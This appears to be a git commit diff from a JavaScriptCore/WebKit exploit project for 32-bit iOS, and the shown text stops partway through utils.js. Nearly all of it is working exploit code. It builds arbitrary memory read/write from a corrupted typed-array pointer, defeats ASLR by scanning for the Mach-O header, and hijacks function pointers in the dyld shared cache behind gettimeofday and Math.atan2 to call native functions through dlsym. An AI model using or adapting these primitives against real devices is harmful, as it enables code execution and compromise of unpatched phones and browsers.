diff options
| author | spv <aquaticvegetable@gmail.com> | 2022-04-20 15:22:48 -0400 |
|---|---|---|
| committer | spv <aquaticvegetable@gmail.com> | 2022-04-20 15:22:48 -0400 |
| commit | 6cc37a8aba5368bfe5e56725382268e517d96b03 (patch) | |
| tree | cd60effe0a4a9585c4f98622fbede0d81a53322e | |
| parent | 67d942f77c7c9a0967bacb0a69197641ce672d02 (diff) | |
function all the things
| -rw-r--r-- | js/call.js | 94 | ||||
| -rw-r--r-- | js/int64.js | 338 | ||||
| -rw-r--r-- | js/libu8.js | 112 | ||||
| -rw-r--r-- | js/main.js | 144 | ||||
| -rw-r--r-- | js/mem.js | 294 | ||||
| -rw-r--r-- | js/str.js | 210 | ||||
| -rw-r--r-- | js/utils.js | 156 | ||||
| -rw-r--r-- | src/main.c | 18 |
8 files changed, 686 insertions, 680 deletions
@@ -1,47 +1,47 @@ -var reserve_addr = 0x1a0000;
-var gettimeofday_addy = 0x34d63d3c;
-var slide = 0x0;
-var base = 0x0;
-
-function get_dyld_shc_slide() {
- return read_u32((slide << 12) + reserve_addr + 20);
-}
-
-function call(addy) {
- var dyld_shc_slide = get_dyld_shc_slide();
- var tmp = read_u32(gettimeofday_addy + dyld_shc_slide);
- write_u32(gettimeofday_addy + dyld_shc_slide, addy);
- var d = new Date();
- write_u32(gettimeofday_addy + dyld_shc_slide, tmp);
-}
-
-function call4arg(addy, r0, r1, r2, r3) {
- var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8));
- var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8));
- /*
- var arg2 = new Int64(r3);
- arg1 = shiftInt64Left(arg1, 32);
- arg1 = Add(arg1, r0);
- arg2 = shiftInt64Left(arg2, 32);
- arg2 = Add(arg2, r2);
- */
-
- arg1d = arg1.asDouble();
- arg2d = arg2.asDouble();
-
- delete arg1;
- delete arg2;
-
- var dyld_shc_slide = get_dyld_shc_slide();
-
- tmp = read_u32(0x346afc84 + dyld_shc_slide);
- write_u32(0x346afc84 + dyld_shc_slide, addy);
- ret = Math.atan2(arg1d, arg2d);
- write_u32(0x346afc84 + dyld_shc_slide, tmp);
-
- delete tmp;
- delete arg1d;
- delete arg2d;
-
- return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0;
-}
+var reserve_addr = 0x1a0000; +var gettimeofday_addy = 0x34d63d3c; +var slide = 0x0; +var base = 0x0; + +function get_dyld_shc_slide() { + return read_u32((slide << 12) + reserve_addr + 20); +} + +function call(addy) { + var dyld_shc_slide = get_dyld_shc_slide(); + var tmp = read_u32(gettimeofday_addy + dyld_shc_slide); + write_u32(gettimeofday_addy + dyld_shc_slide, addy); + var d = new Date(); + write_u32(gettimeofday_addy + dyld_shc_slide, tmp); +} + +function call4arg(addy, r0, r1, r2, r3) { + var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8)); + var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8)); + /* + var arg2 = new Int64(r3); + arg1 = shiftInt64Left(arg1, 32); + arg1 = Add(arg1, r0); + arg2 = shiftInt64Left(arg2, 32); + arg2 = Add(arg2, r2); + */ + + arg1d = arg1.asDouble(); + arg2d = arg2.asDouble(); + + delete arg1; + delete arg2; + + var dyld_shc_slide = get_dyld_shc_slide(); + + tmp = read_u32(0x346afc84 + dyld_shc_slide); + write_u32(0x346afc84 + dyld_shc_slide, addy); + ret = Math.atan2(arg1d, arg2d); + write_u32(0x346afc84 + dyld_shc_slide, tmp); + + delete tmp; + delete arg1d; + delete arg2d; + + return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0; +} diff --git a/js/int64.js b/js/int64.js index 5df1216..1ef5910 100644 --- a/js/int64.js +++ b/js/int64.js @@ -1,169 +1,169 @@ -//
-// Tiny module that provides big (64bit) integers.
-//
-// Copyright (c) 2016 Samuel Groß
-//
-// Requires utils.js
-//
-
-// Datatype to represent 64-bit integers.
-//
-// Internally, the integer is stored as a Uint8Array in little endian byte order.
-function Int64(v) {
- // The underlying byte array.
- var bytes = new Uint8Array(8);
-
- switch (typeof v) {
- case 'number':
- v = '0x' + Math.floor(v).toString(16);
- case 'string':
- if (v.startsWith('0x'))
- v = v.substr(2);
- if (v.length % 2 == 1)
- v = '0' + v;
-
- var bigEndian = unhexlify(v, 8);
- bytes.set(Array.from(bigEndian).reverse());
- break;
- case 'object':
- if (v instanceof Int64) {
- bytes.set(v.bytes());
- } else {
- if (v.length != 8)
- throw TypeError("Array must have excactly 8 elements.");
- bytes.set(v);
- }
- break;
- case 'undefined':
- break;
- default:
- throw TypeError("Int64 constructor requires an argument.");
- }
-
- // Return a double whith the same underlying bit representation.
- this.asDouble = function() {
- // Check for NaN
- if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
- throw new RangeError("Integer can not be represented by a double");
-
- return Struct.unpack(Struct.float64, bytes);
- };
-
- // Return a javascript value with the same underlying bit representation.
- // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
- // due to double conversion constraints.
- this.asJSValue = function() {
- if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
- throw new RangeError("Integer can not be represented by a JSValue");
-
- // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
- this.assignSub(this, 0x1000000000000);
- var res = Struct.unpack(Struct.float64, bytes);
- this.assignAdd(this, 0x1000000000000);
-
- return res;
- };
-
- // Return the underlying bytes of this number as array.
- this.bytes = function() {
- return Array.from(bytes);
- };
-
- // Return the byte at the given index.
- this.byteAt = function(i) {
- return bytes[i];
- };
-
- // Return the value of this number as unsigned hex string.
- this.toString = function() {
- return '0x' + hexlify(Array.from(bytes).reverse());
- };
-
- // Basic arithmetic.
- // These functions assign the result of the computation to their 'this' object.
-
- // Decorator for Int64 instance operations. Takes care
- // of converting arguments to Int64 instances if required.
- function operation(f, nargs) {
- return function() {
- if (arguments.length != nargs)
- throw Error("Not enough arguments for function " + f.name);
- for (var i = 0; i < arguments.length; i++)
- if (!(arguments[i] instanceof Int64))
- arguments[i] = new Int64(arguments[i]);
- return f.apply(this, arguments);
- };
- }
-
- // this = -n (two's complement)
- this.assignNeg = operation(function neg(n) {
- for (var i = 0; i < 8; i++)
- bytes[i] = ~n.byteAt(i);
-
- return this.assignAdd(this, Int64.One);
- }, 1);
-
- // this = a + b
- this.assignAdd = operation(function add(a, b) {
- var carry = 0;
- for (var i = 0; i < 8; i++) {
- var cur = a.byteAt(i) + b.byteAt(i) + carry;
- carry = cur > 0xff | 0;
- bytes[i] = cur;
- }
- return this;
- }, 2);
-
- // this = a - b
- this.assignSub = operation(function sub(a, b) {
- var carry = 0;
- for (var i = 0; i < 8; i++) {
- var cur = a.byteAt(i) - b.byteAt(i) - carry;
- carry = cur < 0 | 0;
- bytes[i] = cur;
- }
- return this;
- }, 2);
-
- // this = a ^ b
- this.assignXor = operation(function sub(a, b) {
- for (var i = 0; i < 8; i++) {
- bytes[i] = a.byteAt(i) ^ b.byteAt(i);
- }
- return this;
- }, 2);
-}
-
-// Constructs a new Int64 instance with the same bit representation as the provided double.
-Int64.fromDouble = function(d) {
- var bytes = Struct.pack(Struct.float64, d);
- return new Int64(bytes);
-};
-
-// Convenience functions. These allocate a new Int64 to hold the result.
-
-// Return -n (two's complement)
-function Neg(n) {
- return (new Int64()).assignNeg(n);
-}
-
-// Return a + b
-function Add(a, b) {
- return (new Int64()).assignAdd(a, b);
-}
-
-// Return a - b
-function Sub(a, b) {
- return (new Int64()).assignSub(a, b);
-}
-
-// Return a ^ b
-function Xor(a, b) {
- return (new Int64()).assignXor(a, b);
-}
-
-// Some commonly used numbers.
-Int64.Zero = new Int64(0);
-Int64.One = new Int64(1);
-
-// That's all the arithmetic we need for exploiting WebKit.. :)
+// +// Tiny module that provides big (64bit) integers. +// +// Copyright (c) 2016 Samuel Groß +// +// Requires utils.js +// + +// Datatype to represent 64-bit integers. +// +// Internally, the integer is stored as a Uint8Array in little endian byte order. +function Int64(v) { + // The underlying byte array. + var bytes = new Uint8Array(8); + + switch (typeof v) { + case 'number': + v = '0x' + Math.floor(v).toString(16); + case 'string': + if (v.startsWith('0x')) + v = v.substr(2); + if (v.length % 2 == 1) + v = '0' + v; + + var bigEndian = unhexlify(v, 8); + bytes.set(Array.from(bigEndian).reverse()); + break; + case 'object': + if (v instanceof Int64) { + bytes.set(v.bytes()); + } else { + if (v.length != 8) + throw TypeError("Array must have excactly 8 elements."); + bytes.set(v); + } + break; + case 'undefined': + break; + default: + throw TypeError("Int64 constructor requires an argument."); + } + + // Return a double whith the same underlying bit representation. + this.asDouble = function() { + // Check for NaN + if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) + throw new RangeError("Integer can not be represented by a double"); + + return Struct.unpack(Struct.float64, bytes); + }; + + // Return a javascript value with the same underlying bit representation. + // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) + // due to double conversion constraints. + this.asJSValue = function() { + if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) + throw new RangeError("Integer can not be represented by a JSValue"); + + // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. + this.assignSub(this, 0x1000000000000); + var res = Struct.unpack(Struct.float64, bytes); + this.assignAdd(this, 0x1000000000000); + + return res; + }; + + // Return the underlying bytes of this number as array. + this.bytes = function() { + return Array.from(bytes); + }; + + // Return the byte at the given index. + this.byteAt = function(i) { + return bytes[i]; + }; + + // Return the value of this number as unsigned hex string. + this.toString = function() { + return '0x' + hexlify(Array.from(bytes).reverse()); + }; + + // Basic arithmetic. + // These functions assign the result of the computation to their 'this' object. + + // Decorator for Int64 instance operations. Takes care + // of converting arguments to Int64 instances if required. + function operation(f, nargs) { + return function() { + if (arguments.length != nargs) + throw Error("Not enough arguments for function " + f.name); + for (var i = 0; i < arguments.length; i++) + if (!(arguments[i] instanceof Int64)) + arguments[i] = new Int64(arguments[i]); + return f.apply(this, arguments); + }; + } + + // this = -n (two's complement) + this.assignNeg = operation(function neg(n) { + for (var i = 0; i < 8; i++) + bytes[i] = ~n.byteAt(i); + + return this.assignAdd(this, Int64.One); + }, 1); + + // this = a + b + this.assignAdd = operation(function add(a, b) { + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = a.byteAt(i) + b.byteAt(i) + carry; + carry = cur > 0xff | 0; + bytes[i] = cur; + } + return this; + }, 2); + + // this = a - b + this.assignSub = operation(function sub(a, b) { + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = a.byteAt(i) - b.byteAt(i) - carry; + carry = cur < 0 | 0; + bytes[i] = cur; + } + return this; + }, 2); + + // this = a ^ b + this.assignXor = operation(function sub(a, b) { + for (var i = 0; i < 8; i++) { + bytes[i] = a.byteAt(i) ^ b.byteAt(i); + } + return this; + }, 2); +} + +// Constructs a new Int64 instance with the same bit representation as the provided double. +Int64.fromDouble = function(d) { + var bytes = Struct.pack(Struct.float64, d); + return new Int64(bytes); +}; + +// Convenience functions. These allocate a new Int64 to hold the result. + +// Return -n (two's complement) +function Neg(n) { + return (new Int64()).assignNeg(n); +} + +// Return a + b +function Add(a, b) { + return (new Int64()).assignAdd(a, b); +} + +// Return a - b +function Sub(a, b) { + return (new Int64()).assignSub(a, b); +} + +// Return a ^ b +function Xor(a, b) { + return (new Int64()).assignXor(a, b); +} + +// Some commonly used numbers. +Int64.Zero = new Int64(0); +Int64.One = new Int64(1); + +// That's all the arithmetic we need for exploiting WebKit.. :) diff --git a/js/libu8.js b/js/libu8.js index fb0b46a..b619fd8 100644 --- a/js/libu8.js +++ b/js/libu8.js @@ -1,56 +1,56 @@ -/*
- * turn a uint32_t into a little-endian 4 byte array
- */
-function u32_to_u8x4(val) {
- u8x4 = new Uint8Array(0x4);
-
- val_ = val >>> 0;
-
- u8x4[0] = ((val_ >> 0) & 0xff);
- u8x4[1] = ((val_ >> 8) & 0xff);
- u8x4[2] = ((val_ >> 16) & 0xff);
- u8x4[3] = ((val_ >> 24) & 0xff);
-
- return u8x4;
-}
-
-/*
- * turn a uint16_t into a little-endian 2 byte array
- */
-function u16_to_u8x2(val) {
- u8x2 = new Uint8Array(0x2);
-
- val_ = val >>> 0;
-
- u8x2[0] = ((val_ >> 0) & 0xff);
- u8x2[1] = ((val_ >> 8) & 0xff);
-
- return u8x2;
-}
-
-/*
- * turn a little-endian 4 byte array into a uint32_t
- */
-function u8x4_to_u32(buf) {
- u32 = 0x0;
-
- u32 += (buf[0] << 0);
- u32 += (buf[1] << 8);
- u32 += (buf[2] << 16);
- u32 += (buf[3] << 24);
-
- return u32 >>> 0;
-}
-
-/*
- * turn a little-endian 2 byte array into a uint16_t
- */
-function u8x2_to_u16(buf) {
- u16 = 0x0;
-
- u16 += (buf[0] << 0);
- u16 += (buf[1] << 8);
-
- return u16 >>> 0;
-
-}
+/* + * turn a uint32_t into a little-endian 4 byte array + */ +function u32_to_u8x4(val) { + u8x4 = new Uint8Array(0x4); + + val_ = val >>> 0; + + u8x4[0] = ((val_ >> 0) & 0xff); + u8x4[1] = ((val_ >> 8) & 0xff); + u8x4[2] = ((val_ >> 16) & 0xff); + u8x4[3] = ((val_ >> 24) & 0xff); + + return u8x4; +} + +/* + * turn a uint16_t into a little-endian 2 byte array + */ +function u16_to_u8x2(val) { + u8x2 = new Uint8Array(0x2); + + val_ = val >>> 0; + + u8x2[0] = ((val_ >> 0) & 0xff); + u8x2[1] = ((val_ >> 8) & 0xff); + + return u8x2; +} + +/* + * turn a little-endian 4 byte array into a uint32_t + */ +function u8x4_to_u32(buf) { + u32 = 0x0; + + u32 += (buf[0] << 0); + u32 += (buf[1] << 8); + u32 += (buf[2] << 16); + u32 += (buf[3] << 24); + + return u32 >>> 0; +} + +/* + * turn a little-endian 2 byte array into a uint16_t + */ +function u8x2_to_u16(buf) { + u16 = 0x0; + + u16 += (buf[0] << 0); + u16 += (buf[1] << 8); + + return u16 >>> 0; + +} @@ -1,71 +1,73 @@ -var MAX_SLIDE = 0x3;
-var MIN_SLIDE = 0x1;
-
-try {
- log("we out here in jsc");
-} catch (e) {
- /*
- * we don't have log. :(
- */
-
- log = function (){};
-}
-
-function main() {
- /*
- * get slide and calculate slid base
- * remember, 32-bit *OS defaults to 0x4000 for the unslid base for exec's
- *
- * so, take the slide, shift it by 12 bits (aslr is calc'd by taking a
- * random byte and shifting it 12 bits, in this case the page size, 4096
- * (0x1000) bytes), and add it to the unslid base.
- */
-
- slide = get_our_slide();
- base = 0x4000 + (slide << 12);
- slid = (slide << 12);
- // call(0x41424344);
-
- log("slide=0x" + slide.toString(16));
- log("*(uint8_t*)base = 0x" + read_u8(base).toString(16));
- log("*(uint16_t*)base = 0x" + read_u16(base).toString(16));
- log("*(uint32_t*)base = 0x" + read_u32(base).toString(16));
-
- write_u32(0x144444, 0x69691337);
-
- log("writing to first mapped loc");
-// write_u32(0x422300, 0x41414141);
- log("writing to second mapped loc");
-// write_u32(0x422300, 0x41414141);
- log("survived both writes!");
-
- child.a = parent;
-
- predicted_jsobject_addy = 0x422200;
- buf = read_buf(predicted_jsobject_addy, 0x200);
-
- log("hexdump of predicted jsobject loc:");
- log(hexdump(buf, 8, 2, predicted_jsobject_addy, 8, "0x"));
-
- var dlsym_addy = read_u32(0x1a0000 + 24 + slid);
- var shc_slide = read_u32(0x1a0000 + 20 + slid);
- write_str(0x148000, "get rekt from jsc\0");
- write_str(0x149000, "syslog\0");
- write_str(0x14a000, "sleep\0");
- while (true) {
- call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x28, 0x148000, 0x2, 0x3);
- call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x14a000, 0, 0), 10, 0x1, 0x2, 0x3);
- }
-/*
- for (i = 0; i < 0x1000; i++) {
- call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x148000, i, 0x2, 0x3);
- }*/
-
-// call(0x9ac54 + (slide << 12));
-// write_u32(0x1013b8, 0x41414141);
-// call(0x41414141);
-
-// call(0x56ab9 + (slide << 12));
-
- log("still alive");
-};
+var MAX_SLIDE = 0x3; +var MIN_SLIDE = 0x1; + +try { + log("we out here in jsc"); +} catch (e) { + /* + * we don't have log. :( + */ + + log = function (){}; +} + +function main() { + /* + * get slide and calculate slid base + * remember, 32-bit *OS defaults to 0x4000 for the unslid base for exec's + * + * so, take the slide, shift it by 12 bits (aslr is calc'd by taking a + * random byte and shifting it 12 bits, in this case the page size, 4096 + * (0x1000) bytes), and add it to the unslid base. + */ + + slide = get_our_slide(); + base = 0x4000 + (slide << 12); + slid = (slide << 12); +// call(0x41424344); + + log("slide=0x" + slide.toString(16)); + log("*(uint8_t*)base = 0x" + read_u8(base).toString(16)); + log("*(uint16_t*)base = 0x" + read_u16(base).toString(16)); + log("*(uint32_t*)base = 0x" + read_u32(base).toString(16)); + + write_u32(0x144444, 0x69691337); + + log("writing to first mapped loc"); +// write_u32(0x422300, 0x41414141); + log("writing to second mapped loc"); +// write_u32(0x422300, 0x41414141); + log("survived both writes!"); + + child.a = parent; + + predicted_jsobject_addy = 0x422200; + buf = read_buf(predicted_jsobject_addy, 0x200); + + log("hexdump of predicted jsobject loc:"); + log(hexdump(buf, 8, 2, predicted_jsobject_addy, 8, "0x")); + + var dlsym_addy = read_u32(0x1a0000 + 24 + slid); + var shc_slide = read_u32(0x1a0000 + 20 + slid); + write_str(0x148000, "get rekt from jsc %d\0"); + write_str(0x149000, "syslog\0"); + write_str(0x14a000, "sleep\0"); +// while (true) { +// call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x28, 0x148000, 0x2, 0x3); +// call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x14a000, 0, 0), 10, 0x1, 0x2, 0x3); +// } + + for (var i = 0; i < 0x1000; i++) { + call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x28, 0x148000, i, 0x3); + call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x14a000, 0, 0), 10, 0x1, 0x2, 0x3); +// call4arg(call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x149000, 0, 0), 0x148000, i, 0x2, 0x3); + } + +// call(0x9ac54 + (slide << 12)); +// write_u32(0x1013b8, 0x41414141); +// call(0x41414141); + +// call(0x56ab9 + (slide << 12)); + + log("still alive"); +}; @@ -1,147 +1,147 @@ -var VECTOR_OFFSET = 0x10;
-
-/*
- * read uint8_t
- */
-function read_u8(addy) {
- u8x4 = u32_to_u8x4(addy);
-
- /*
- * `parent` is a Uint8Array of length 0x100.
- * `child` is also a Uint8Array of length 0x100.
- * `parent`'s `vector`, its pointer to where its data is stored, has been
- * modified to point to the `child` object in memory.
- * as such, accessing `parent` will allow for modifying the `child` object.
- *
- * the way this is used is by writing to `child`'s `vector` so it points to
- * arbitrary memory. then, we can access `child`, and we now have arbitrary
- * r/w
- */
-
- parent[VECTOR_OFFSET + 0x0] = u8x4[0];
- parent[VECTOR_OFFSET + 0x1] = u8x4[1];
- parent[VECTOR_OFFSET + 0x2] = u8x4[2];
- parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
- return child[0];
-}
-
-/*
- * read uint16_t
- */
-function read_u16(addy) {
- u8x4 = u32_to_u8x4(addy);
-
- parent[VECTOR_OFFSET + 0x0] = u8x4[0];
- parent[VECTOR_OFFSET + 0x1] = u8x4[1];
- parent[VECTOR_OFFSET + 0x2] = u8x4[2];
- parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
- return u8x2_to_u16(child);
-
-}
-
-/*
- * read uint32_t
- */
-function read_u32(addy) {
- u8x4 = u32_to_u8x4(addy);
-
- parent[VECTOR_OFFSET + 0x0] = u8x4[0];
- parent[VECTOR_OFFSET + 0x1] = u8x4[1];
- parent[VECTOR_OFFSET + 0x2] = u8x4[2];
- parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
- return u8x4_to_u32(child);
-}
-
-/*
- * read a buffer
- */
-function read_buf(addy, len) {
- var buf = new Uint8Array(len);
-
- for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
- buf[cur_addy - addy] = read_u8(cur_addy);
- }
-
- return buf;
-}
-
-/*
- * write a buffer
- */
-function write_buf(addy, buf, len) {
- for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) {
- write_u8(cur_addy, buf[cur_addy - addy]);
- }
-
- return buf;
-}
-
-/*
- * write uint8_t
- */
-function write_u8(addy, what) {
- u8x4 = u32_to_u8x4(addy);
-
- parent[VECTOR_OFFSET + 0x0] = u8x4[0];
- parent[VECTOR_OFFSET + 0x1] = u8x4[1];
- parent[VECTOR_OFFSET + 0x2] = u8x4[2];
- parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
- child[0] = what;
-}
-
-/*
- * write uint16_t
- */
-function write_u16(addy, what) {
- u8x4 = u32_to_u8x4(addy);
-
- parent[VECTOR_OFFSET + 0x0] = u8x4[0];
- parent[VECTOR_OFFSET + 0x1] = u8x4[1];
- parent[VECTOR_OFFSET + 0x2] = u8x4[2];
- parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
- u8x2 = u16_to_u8x2(what);
- child[0] = u8x2[0];
- child[1] = u8x2[1];
-}
-
-/*
- * write uint32_t
- */
-function write_u32(addy, what) {
- u8x4 = u32_to_u8x4(addy);
-
- parent[VECTOR_OFFSET + 0x0] = u8x4[0];
- parent[VECTOR_OFFSET + 0x1] = u8x4[1];
- parent[VECTOR_OFFSET + 0x2] = u8x4[2];
- parent[VECTOR_OFFSET + 0x3] = u8x4[3];
-
- u8x4 = u32_to_u8x4(what);
- child[0] = u8x4[0];
- child[1] = u8x4[1];
- child[2] = u8x4[2];
- child[3] = u8x4[3];
-}
-
-/*
- * get process slide
- */
-function get_our_slide() {
- for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) {
- if (read_u32((slide << 12) + 0x4000) == 0xfeedface) {
- return slide;
- }
- }
-}
-
-function write_str(addy, s) {
- for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) {
- write_u8(cur_addy, s.charCodeAt(cur_addy - addy));
- }
-
- return s;
-}
+var VECTOR_OFFSET = 0x10; + +/* + * read uint8_t + */ +function read_u8(addy) { + u8x4 = u32_to_u8x4(addy); + + /* + * `parent` is a Uint8Array of length 0x100. + * `child` is also a Uint8Array of length 0x100. + * `parent`'s `vector`, its pointer to where its data is stored, has been + * modified to point to the `child` object in memory. + * as such, accessing `parent` will allow for modifying the `child` object. + * + * the way this is used is by writing to `child`'s `vector` so it points to + * arbitrary memory. then, we can access `child`, and we now have arbitrary + * r/w + */ + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + return child[0]; +} + +/* + * read uint16_t + */ +function read_u16(addy) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + return u8x2_to_u16(child); + +} + +/* + * read uint32_t + */ +function read_u32(addy) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + return u8x4_to_u32(child); +} + +/* + * read a buffer + */ +function read_buf(addy, len) { + var buf = new Uint8Array(len); + + for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) { + buf[cur_addy - addy] = read_u8(cur_addy); + } + + return buf; +} + +/* + * write a buffer + */ +function write_buf(addy, buf, len) { + for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) { + write_u8(cur_addy, buf[cur_addy - addy]); + } + + return buf; +} + +/* + * write uint8_t + */ +function write_u8(addy, what) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + child[0] = what; +} + +/* + * write uint16_t + */ +function write_u16(addy, what) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + u8x2 = u16_to_u8x2(what); + child[0] = u8x2[0]; + child[1] = u8x2[1]; +} + +/* + * write uint32_t + */ +function write_u32(addy, what) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + u8x4 = u32_to_u8x4(what); + child[0] = u8x4[0]; + child[1] = u8x4[1]; + child[2] = u8x4[2]; + child[3] = u8x4[3]; +} + +/* + * get process slide + */ +function get_our_slide() { + for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) { + if (read_u32((slide << 12) + 0x4000) == 0xfeedface) { + return slide; + } + } +} + +function write_str(addy, s) { + for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) { + write_u8(cur_addy, s.charCodeAt(cur_addy - addy)); + } + + return s; +} @@ -1,105 +1,105 @@ -
-
-function prim_dump_u32(buf) {
- s = "";
-
- for (var i = 0; i < buf.length; i += 4) {
- tmp = [];
-
- tmp.push(buf[i + 0]);
- tmp.push(buf[i + 1]);
- tmp.push(buf[i + 2]);
- tmp.push(buf[i + 3]);
-
- s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8);
- s += ": ";
- s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8);
- if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) {
- s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8);
- s += "\n";
- val = read_u32(u8x4_to_u32(tmp));
- if (val >= 0x1800000 && val < 0x1900000) {
- buf = read_buf(val, 0x100);
- s += (hexdump(buf, 8, 2, val, 8, "0x"));
- }
- }
- s += "\n";
- }
-
- return s;
-}
-
-function pad_left(s, c, n) {
- s_ = s;
-
- if (s_.length < n) {
- s_ = c.repeat(n - s_.length) + s_;
- }
-
- return s_;
-}
-
-function str_to_uint8_buf(s) {
- buf = new Uint8Array(s.length);
-
- for (i = 0; i < s.length; i++) {
- buf[i] = s.charCodeAt(i);
- }
-
- return buf;
-}
-
-/*
- * HOLY UGLY BATMAN!
- */
-function hexdump(buf, cols, col_split, base, pad_base, base_prefix) {
- s = "";
- if (buf.constructor != Uint8Array) {
- buf = str_to_uint8_buf(buf);
- }
-
- for (i = 0; i < buf.length; i += (cols * col_split)) {
- cur_base = base + i;
- s += base_prefix + pad_left(cur_base.toString(16), "0", pad_base) + ": ";
- for (j = i; j < (i + (cols * col_split)); j += col_split) {
- for (k = j; k < (j + col_split); k++) {
- val = buf[k];
- try {
- s += pad_left(val.toString(16), "0", 2);
- } catch (e) {
- s += " ";
- }
- }
- s += " ";
- }
-
- for (j = i; j < (i + (cols * col_split)); j++) {
- val = buf[j];
-
- if (val < 0x20 || val >= 0x80) {
- val = 0x2e; // period
- }
-
- chr = String.fromCharCode(val);
- s += chr;
- }
-
- s += "\n";
- }
-
- return s;
-}
-
-/*
- * HEX SHIT
- */
-function prim_hexdump(buf) {
- s = "";
-
- for (i = 0; i < buf.length; i++) {
- val = buf[i];
- s += pad_left(val.toString(16), "0", 2);
- }
-
- return s;
-}
+ + +function prim_dump_u32(buf) { + s = ""; + + for (var i = 0; i < buf.length; i += 4) { + tmp = []; + + tmp.push(buf[i + 0]); + tmp.push(buf[i + 1]); + tmp.push(buf[i + 2]); + tmp.push(buf[i + 3]); + + s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8); + s += ": "; + s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8); + if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) { + s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8); + s += "\n"; + val = read_u32(u8x4_to_u32(tmp)); + if (val >= 0x1800000 && val < 0x1900000) { + buf = read_buf(val, 0x100); + s += (hexdump(buf, 8, 2, val, 8, "0x")); + } + } + s += "\n"; + } + + return s; +} + +function pad_left(s, c, n) { + s_ = s; + + if (s_.length < n) { + s_ = c.repeat(n - s_.length) + s_; + } + + return s_; +} + +function str_to_uint8_buf(s) { + buf = new Uint8Array(s.length); + + for (i = 0; i < s.length; i++) { + buf[i] = s.charCodeAt(i); + } + + return buf; +} + +/* + * HOLY UGLY BATMAN! + */ +function hexdump(buf, cols, col_split, base, pad_base, base_prefix) { + s = ""; + if (buf.constructor != Uint8Array) { + buf = str_to_uint8_buf(buf); + } + + for (i = 0; i < buf.length; i += (cols * col_split)) { + cur_base = base + i; + s += base_prefix + pad_left(cur_base.toString(16), "0", pad_base) + ": "; + for (j = i; j < (i + (cols * col_split)); j 